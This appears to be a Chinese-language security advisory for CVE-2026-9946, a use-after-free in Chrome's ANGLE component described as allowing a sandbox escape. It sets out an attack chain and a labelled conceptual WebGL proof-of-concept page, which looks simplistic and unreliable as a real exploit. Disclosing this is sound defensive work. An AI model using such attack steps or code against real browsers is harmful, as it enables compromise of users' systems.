IPBUF安全漏洞报告
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CVE-2026-9946 CVSS 8.3 高危

CVE-2026-9946 Chrome ANGLE沙箱逃逸漏洞

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9946
漏洞类型
释放后使用
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome

相关标签

释放后使用沙箱逃逸远程代码执行Google ChromeANGLEWebGL

漏洞概述

Google Chrome 148.0.7778.216 之前版本的 ANGLE 组件存在释放后使用漏洞。攻击者在攻陷渲染进程后,可通过诱导用户访问特制 HTML 页面触发该漏洞。成功利用可能导致沙箱逃逸,使攻击者突破浏览器安全限制,执行任意代码并完全控制受影响系统,风险极高。

技术细节

该漏洞源于 Google Chrome 中 ANGLE(Almost Native Graphics Layer Engine)组件的内存管理逻辑缺陷。具体而言,程序在对特定的图形对象进行释放操作后,未将悬空指针置空,导致后续的渲染指令仍尝试访问该已失效的内存地址。攻击者首先需攻陷渲染器进程,随后通过精心构造的恶意 HTML 页面,控制 WebGL 上下文或图形渲染指令序列,触发释放后使用错误。通过堆喷射等技术手段,攻击者可控制被释放内存的内容,从而劫持程序执行流。由于 ANGLE 组件与底层图形驱动交互紧密,利用该漏洞可绕过 Chrome 的沙箱安全机制,实现从低权限渲染进程到高权限操作系统进程的逃逸,最终导致远程代码执行。

攻击链分析

STEP 1
Step 1: Initial Compromise
攻击者首先需要通过其他漏洞(如渲染进程中的RCE)攻陷Chrome的渲染进程。
STEP 2
Step 2: Deliver Payload
攻击者制作包含恶意WebGL代码的特制HTML页面,并诱导受害者访问。
STEP 3
Step 3: User Interaction
用户在受影响的Chrome浏览器版本中打开并渲染该恶意页面。
STEP 4
Step 4: Trigger UAF
页面中的恶意脚本触发ANGLE组件中的释放后使用漏洞,访问已释放的内存。
STEP 5
Step 5: Sandbox Escape
利用内存破坏漏洞绕过Chrome的沙箱机制,获取系统级权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Conceptual Proof of Concept for CVE-2026-9946 Demonstrates the general logic of triggering a UAF in ANGLE via WebGL. Note: Actual exploitation requires a compromised renderer process. --> <html> <body> <script> // Attempt to trigger UAF in ANGLE WebGL implementation function trigger_exploit() { var canvas = document.createElement('canvas'); var gl = canvas.getContext('webgl'); if (!gl) return; // Create a WebGL buffer resource var buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); gl.bufferData(gl.ARRAY_BUFFER, 1024, gl.STATIC_DRAW); // Simulate the sequence that leads to Use-After-Free // 1. Perform operations that may complexify the internal state var ext = gl.getExtension('WEBGL_debug_renderer_info'); // 2. Delete the buffer (free memory in ANGLE) gl.deleteBuffer(buffer); // 3. Attempt to access the freed buffer again // In a vulnerable version, this accesses freed memory (UAF) try { gl.bindBuffer(gl.ARRAY_BUFFER, buffer); gl.vertexAttribPointer(0, 4, gl.FLOAT, false, 0, 0); // If the renderer is already compromised, this UAF can lead to sandbox escape } catch (e) { console.log("Exception triggered: " + e.message); } } trigger_exploit(); </script> </body> </html>

影响范围

Google Chrome < 148.0.7778.216

防御指南

临时缓解措施
由于攻击前提是攻陷渲染器进程,用户应避免点击不明链接或访问不可信网站。同时,启用浏览器的高安全模式或禁用 WebGL 功能可作为临时的缓解手段,直到完成补丁更新。

参考链接

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